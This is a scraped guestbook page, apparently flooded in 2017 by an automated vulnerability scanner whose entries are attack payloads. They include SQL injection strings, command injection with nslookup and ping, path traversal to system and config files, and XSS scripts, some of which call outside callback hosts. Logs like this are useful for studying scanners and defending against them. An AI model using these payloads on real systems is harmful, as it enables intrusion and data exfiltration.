+

http://www.example.com

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

http://r87.com/n?.aspx

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:33 AM +

+

+ ";expr 268409241 - 2;" +

+
+

Smith

+

+ 8/23/2017 8:09:32 AM +

+

+ WAITFOR DELAY '0:0:25'-- +

+
+

file:/windows/win.ini

+

+ 8/23/2017 8:09:32 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:32 AM +

+

+ +

+
+

/../../../../../../../../../../windows/win.ini

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:31 AM +

+

+ 1 WAITFOR DELAY '0:0:25'-- +

+
+

/../../../../../../../../../../web.config

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

http://r87.com/n?ďż˝.aspx

+

+ 8/23/2017 8:09:30 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:30 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:30 AM +

+

+ +

+
+

c%3a%5cboot.ini

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

hTTp://r87.com/n

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:29 AM +

+

+ SET /A 0xFFF9999-2 +

+
+

Smith

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

file%3a%2fboot.ini

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:28 AM +

+

+ ' WAITFOR DELAY '0:0:25'-- +

+
+

Smith

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:27 AM +

+

+ +

+
+

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

+

+ 8/23/2017 8:09:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:26 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:26 AM +

+

+ SET /A 0xFFF9999-2 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:25 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:25 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:25 AM +

+

+ & SET /A 0xFFF9999-2 & +

+
+

Smith

+

+ 8/23/2017 8:09:25 AM +

+

+ +

+
+

ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................

+

+ 8/23/2017 8:09:24 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:24 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:23 AM +

+

+ '& SET /A 0xFFF9999-2 & +

+
+

c:\boot.ini

+

+ 8/23/2017 8:09:23 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:23 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:22 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:22 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ "& SET /A 0xFFF9999-2 & +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:20 AM +

+

+ +

+
+

file:/boot.ini

+

+ 8/23/2017 8:09:19 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:19 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

1/../../../../../../../../../../boot.ini

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

/../../../../../../../../../../boot.iniďż˝.aspx

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

/../../../../../../../../../../boot.ini

+

+ 8/23/2017 8:09:15 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:15 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:12 AM +

+

+ +

+
+

//r87.com/?0x002AB8

+

+ 8/23/2017 8:09:12 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:12 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:11 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:11 AM +

+

+ +

+
+

//r87.com/?0x002AB7

+

+ 8/23/2017 8:09:10 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:10 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:10 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:09 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

[ns](javascript:netsparker(0x002A8F); "nsmd")

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

'"@-->

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

ping -w 25 127.0.0.1

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

ping -n 25 127.0.0.1

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

'+netsparker(0x002A8B)+'

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

ping -w 25 127.0.0.1 &

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

netsparker(0x002A89);

+

+ 8/23/2017 8:09:04 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:04 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:03 AM +

+

+ +

+
+

netsparker(0x002A87)

+

+ 8/23/2017 8:09:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:03 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

&ping -w 25 127.0.0.1 &

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

'&ping -w 25 127.0.0.1 &'

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

',netsparker(0x002A85),'

+

+ 8/23/2017 8:09:01 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:01 AM +

+

+ +

+
+

\';netsparker(0x002A83);///

+

+ 8/23/2017 8:09:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

"&ping -w 25 127.0.0.1 &"

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

"+netsparker(0x002A81)+"

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

'+netsparker(0x002A7F)+'

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

'& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:57 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:57 AM +

+

+ +

+
+

*/netsparker(0x002A7D);/*

+

+ 8/23/2017 8:08:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:56 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:56 AM +

+

+ +

+
+

body{x:expression(netsparker(0x002A7B))}

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

"& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

|expr${IFS}268409241${IFS}-${IFS}2

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:54 AM +

+

+ +

+
+

expr 268409241 - 2

+

+ 8/23/2017 8:08:54 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

n;ns:expression(netsparker(0x002A79));

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

expr 268409241 - 2;

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:53 AM +

+

+ '+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+' +

+
+

1;expr 268409241 - 2;x

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

<%a style=x:expre/**/ssion(netsparker(0x002A77))>

+

+ 8/23/2017 8:08:52 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:52 AM +

+

+ '||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:52 AM +

+

+ '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(48)||chr(115)||chr(111)||chr(113)||chr(113)||chr(108)||chr(118)||chr(105)||chr(116)||chr(120)||chr(95)||chr(50)||chr(113)||chr(95)||chr(97)||chr(109)||chr(110)||chr(104)||chr(118)||chr(106)||chr(53)||chr(97)||chr(102)||chr(98)||chr(97)||chr(115)||chr(118)||chr(112)||chr(56)||chr(109)||chr(116)||chr(119)||chr(103)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

1';expr 268409241 - 2;'

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:51 AM +

+

+ (length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)))) +

+
+

|nslookup${IFS}"o010_rdnxualozt818le1ziotmfwfoxumkuqkklf""ury.r87.me"

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:51 AM +

+

+ (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(50)||chr(121)||chr(108)||chr(109)||chr(113)||chr(105)||chr(98)||chr(116)||chr(98)||chr(106)||chr(102)||chr(114)||chr(116)||chr(115)||chr(103)||chr(120)||chr(116)||chr(97)||chr(99)||chr(116)||chr(119)||chr(102)||chr(103)||chr(108)||chr(121)||chr(121)||chr(111)||chr(101)||chr(109)||chr(98)||chr(109)||chr(107)||chr(99)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)))) +

+
+

|nslookup${IFS}"o010_rdnxupxt_xsmil_jux4oafb_du8w6vkiqyd""z1o.r87.me"

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:50 AM +

+

+ 1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1 +

+
+

"&nslookup "o010_rdnxu0mp9tjmo-33ousfksyvnlwquiyduic""f8i.r87.me"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

"&nslookup "o010_rdnxukwavmnr6uxmaxw6iqm947lohljnseu""90e.r87.me"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:50 AM +

+

+ (select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(98)||chr(103)||chr(98)||chr(118)||chr(122)||chr(122)||chr(49)||chr(111)||chr(99)||chr(97)||chr(97)||chr(107)||chr(102)||chr(95)||chr(100)||chr(120)||chr(99)||chr(102)||chr(102)||chr(107)||chr(122)||chr(102)||chr(116)||chr(99)||chr(122)||chr(119)||chr(100)||chr(110)||chr(117)||chr(118)||chr(97)||chr(97)||chr(121)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL) +

+
+

'&nslookup "o010_rdnxufxhyjejjfwkr4vrg6mnixwezhu-ms5""fqe.r87.me"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

1";expr 268409241 - 2;"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

'&nslookup "o010_rdnxurzlw5uznq-jb2th_efsvc6lksde7ye""btw.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:49 AM +

+

+ '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu_qtsdowlkh_flfjjfm6coylz1xh0ty'||'430.r87.me') from DUAL))||' +

+
+

Smith

+

+ 8/23/2017 8:08:49 AM +

+

+ -1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1 +

+
+

&nslookup "o010_rdnxurwtbxapfqfrrebybzda41jwx1vpgsj""oac.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

javascript:netsparker(0x002A73)

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

SET /A 0xFFF9999-2

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

&nslookup "o010_rdnxuyfq2weofqljkjqkwsx_6xtr_2hvea3""_iq.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:49 AM +

+

+ (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuqdcigkl6azza8s4r2gp2-25mjbx4ka'||'n2w.r87.me') from DUAL)))) +

+
+

-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

nslookup "o010_rdnxuyjn5wzhc0m_dce4_w_6jdto3tyaun5""g2w.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

nslookup "o010_rdnxujonf6gnfiqeyujfhlrkspnro4qzd26""lsu.r87.me"

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

& SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

"& nslookup o010_rdnxu7pd_0-hequtt_xcjaxjsd9rr4lcnpgsco.r87.me&'\"`0&nslookup o010_rdnxu7pd_0-hequtt_xcjaxjsd9rr4lcnpgsco.r87.me&`'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

'& SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

"& nslookup o010_rdnxuykr4pi_nppsk3qceqf1ultfwkq_g-mj8w.r87.me&'\"`0&nslookup o010_rdnxuykr4pi_nppsk3qceqf1ultfwkq_g-mj8w.r87.me&`'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

'& nslookup o010_rdnxudpik2_j01qyk9kkmsd3s-rev0jfj0n-88.r87.me&'\"`0&nslookup o010_rdnxudpik2_j01qyk9kkmsd3s-rev0jfj0n-88.r87.me&`'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

"& SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

'& nslookup o010_rdnxugvka1lanjs1hzj6u2m0e7oxikzgtsvaio.r87.me&'\"`0&nslookup o010_rdnxugvka1lanjs1hzj6u2m0e7oxikzgtsvaio.r87.me&`'

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

">

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

& nslookup o010_rdnxukmhbou-scbumbrzafaimbsefhjrvxfgsi.r87.me&'\"`0&nslookup o010_rdnxukmhbou-scbumbrzafaimbsefhjrvxfgsi.r87.me&`'

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:47 AM +

+

+ -1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:47 AM +

+

+ (select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxueuzk4q74y3ctb3qs_tui_2g-kxjl1h'||'v8a.r87.me') from DUAL) +

+
+

& nslookup o010_rdnxugp51qgzhcygqki1vf-ggr_9wyyziwxldk.r87.me&'\"`0&nslookup o010_rdnxugp51qgzhcygqki1vf-ggr_9wyyziwxldk.r87.me&`'

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

'>

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:46 AM +

+

+ ';l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxu2tztvtnuffxl9jn6ffqj05y9bmsrjz"+"lqw.r87.me/r/?"+location.href;document.head.appendChild(l);// +

+
+

'+((SELECT 1 FROM (SELECT SLEEP(25))A))+'

+

+ 8/23/2017 8:08:46 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:46 AM +

+

+ ";l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxuc1x0wt8ggryx4fhtkabsxzynfujlal"+"9om.r87.me/r/?"+location.href;document.head.appendChild(l);// +

+
+

//r87.com/n/j/?0x002A6C

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

((SELECT 1 FROM (SELECT SLEEP(25))A))

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

nslookup o010_rdnxueptdxyih4nmgvtlxllauupxajmktdvqrw.r87.me&'\"`0&nslookup o010_rdnxueptdxyih4nmgvtlxllauupxajmktdvqrw.r87.me&`'

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ '||cast((SELECT dblink_connect('host=o010_rdnxuc1oin0c4hpckcp8foocm07anmkehpx'||'sf8.r87.me user=a password=a connect_timeout=2')) as numeric)||' +

+
+

//r87.com/n/j/?0x002A6B

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:44 AM +

+

+ (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

nslookup o010_rdnxurw_c_czuj5q44tmkmsfdkc621jjpvmayg.r87.me&'\"`0&nslookup o010_rdnxurw_c_czuj5q44tmkmsfdkc621jjpvmayg.r87.me&`'

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(54)||chr(102)||chr(101)||chr(98)||chr(104)||chr(108)||chr(122)||chr(114)||chr(111)||chr(106)||chr(114)||chr(110)||chr(119)||chr(122)||chr(117)||chr(106)||chr(106)||chr(49)||chr(53)||chr(98)||chr(107)||chr(103)||chr(54)||chr(114)||chr(98)||chr(108)||chr(121)||chr(121)||chr(121)||chr(115)||chr(110)||chr(105)||chr(109)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric) +

+
+

"+gethostbyname(lc 'o010_rdnxuwckoxuzj-q-mf353snaks__slwuazw'.'qhy.r87.me')+"

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

1));SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

//r87.com/n/n.css?0x002A6A

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

"+gethostbyname(lc 'o010_rdnxuyrs0rdhcpaevkc0jatjxz0kayfppxs'.'z-k.r87.me')+"

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

1'));SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:43 AM +

+

+ cast((SELECT dblink_connect('host=o010_rdnxuye7pxomr6cfzohxftgde-pawtzwufz'||'vj8.r87.me user=a password=a connect_timeout=2')) as numeric) +

+
+

'+gethostbyname(lc 'o010_rdnxuh0occyxcc2hyinn6dowfsyxqtydmgy'.'kwo.r87.me')+'

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

//r87.com/n/n.css?0x002A69

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

'+gethostbyname(lc 'o010_rdnxuwxepioueimpe3ahlrrde3dkelipswt'.'-r8.r87.me')+'

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

eval('gethostbyname(lc 'o010_rdnxuk4ssss_tqq_-f1cloohmjqc1a4ukdc'.'ea8.r87.me')')

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

1 ns=netsparker(0x002A5F)

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

eval('gethostbyname(lc 'o010_rdnxuetffwa-rewtmbncgkgbslwp1-ybf-g'.'pqs.r87.me')')

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

gethostbyname(lc 'o010_rdnxu-zjcoujzmjuke9htyaorejz9qjurq-'.'lqo.r87.me')

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

'" ns=netsparker(0x002A5D)

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:42 AM +

+

+ Guestbook.aspxďż˝ +

+
+

Smith

+

+ 8/23/2017 8:08:41 AM +

+

+ '+NSFTW+' +

+
+

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAyQTVDKTwvc2NyaXB0Pg==

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:41 AM +

+

+ dblink_connect('host=o010_rdnxurfmiai8zcwr84o0p6evaz7d39hh0gl'||'moy.r87.me user=a password=a connect_timeout=2') +

+
+

gethostbyname(lc 'o010_rdnxuoh9ue36x4nycsvapqjod7cki-45apl'.'fry.r87.me')

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:41 AM +

+

+ Guestbook.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:41 AM +

+

+ '"--> +

+
+

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAyQTVCKTwvc2NyaXB0Pg==

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

"+createobject("WScript.Shell").exec("nslookup o010_rdnxux1ttqm-fzkmhcw66lkunourokwjnk7" & "32o.r87.me").StdOut.ReadAll+"

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

1');SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002A5A%29%3C%2FscRipt%3E

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:40 AM +

+

+ data:;base64,TlM3NzU0NTYxNDQ2NTc1 +

+
+

"+createobject("WScript.Shell").exec("nslookup o010_rdnxuwvkktv-6yshqe6vw9tqiagla_3jqio" & "qju.r87.me").StdOut.ReadAll+"

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002A59%29%3C%2FscRipt%3E

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

<%createobject("WScript.Shell").exec("nslookup o010_rdnxuf3ngej5qagncr5bvvxvljk_kpokj2y" & "wqa.r87.me").StdOut.ReadAll%>

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

'"-->

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

